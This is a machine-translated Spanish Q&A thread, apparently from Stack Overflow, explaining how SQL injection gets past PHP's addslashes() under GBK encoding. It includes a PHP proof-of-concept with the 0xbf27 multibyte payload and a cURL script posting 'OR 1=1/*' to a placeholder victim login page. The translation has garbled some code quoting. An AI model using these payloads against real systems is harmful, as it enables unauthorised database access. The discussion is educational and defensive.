¿Ejemplos de inyecciones de SQL a través de barras de adición ()?

3 minutos de lectura

¿Ejemplos de inyecciones de SQL a traves de barras de
nathan h

En PHP, sé que mysql_real_escape es mucho más seguro que usar addslashes. Sin embargo, no pude encontrar un ejemplo de una situación en la que addslashes permitiría que suceda una inyección SQL.

¿Alguien puede dar algunos ejemplos?

¿Ejemplos de inyecciones de SQL a traves de barras de
caos

Bien, aquí está el artículo que desea.

Básicamente, la forma en que funciona el ataque es obteniendo addslashes() para poner una barra invertida en medio de un carácter de varios bytes de modo que la barra invertida pierda su significado al ser parte de una secuencia válida de varios bytes.

La advertencia general del artículo:

Este tipo de ataque es posible con cualquier codificación de caracteres en la que haya un carácter válido de varios bytes que termine en 0x5cporque
addslashes() se puede engañar para que cree un carácter de varios bytes válido en lugar de escapar de la comilla simple que sigue. UTF-8 no se ajusta a esta descripción.

  • ¿Qué tal citas mágicas? He visto un sitio que solo pone $ POST[‘password’] en la consulta SQL, y no falla para ellos. ¿Puedes explicar por qué funciona?

    – elcuco

    14 mayo 2009 a las 17:30

  • Las citas mágicas son un tema completamente diferente; consulte stackoverflow.com/questions/220437/magic-quotes-in-php. Presumiblemente, el ejemplo que das ‘funciona’ porque las comillas mágicas están activadas. Entre las muchas razones para no usar comillas mágicas es que las comillas mágicas usan la misma lógica que addedlashes(), por lo que tiene la misma vulnerabilidad descrita aquí.

    – caos

    14 mayo 2009 a las 18:28

Chris Shiflet explica claramente con el siguiente ejemplo, por supuesto que funcionará si lo intenta cuando usa la codificación GBK en su base de datos. Incluso lo probé, esto demuestra que hay posibilidades de inyección de sql, aunque son muy pocas, pero alguien con buen conocimiento y capacidad puede inyectar fácilmente. Aquí hay un ejemplo…

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username="{$mysql["username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

Aunque el uso de addedlashes() o magic_quotes_gpc normalmente se consideraría algo seguro, el uso de GBK los volvería casi inútiles. El siguiente script PHP cURL podría hacer uso de la inyección, espero que esto te ayude un poco más a entender:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

Como complemento para los lectores de las respuestas aquí: este error de MySQL ya se ha solucionado 🙂

Además, siempre es una buena práctica usar declaraciones preparadas. Es la forma más libre de vulnerabilidades en la que puede iniciar consultas (y, en varios casos de uso, la más eficaz). Y te habría salvado de este defecto.

  • ¿Puedes mencionar tu fuente en esta corrección de errores? ¡Gracias!

    – jefe racional

    22 de septiembre de 2012 a las 10:32

mysql_real_escape_string() frente a declaraciones preparadas explica claramente mysql_real_escape_string() no es 100% seguro.

utilizando mysql_set_charset(‘GBK’) para reemplazar mysql_query(“ESTABLECER CONJUNTO DE CARACTERES ‘GBK'”)mysql_real_escape_string() puede ser 100% seguro.

¿Ha sido útil esta solución?

Esta web utiliza cookies propias y de terceros para su correcto funcionamiento y para fines analíticos y para mostrarte publicidad relacionada con sus preferencias en base a un perfil elaborado a partir de tus hábitos de navegación. Al hacer clic en el botón Aceptar, acepta el uso de estas tecnologías y el procesamiento de tus datos para estos propósitos. Configurar y más información
Privacidad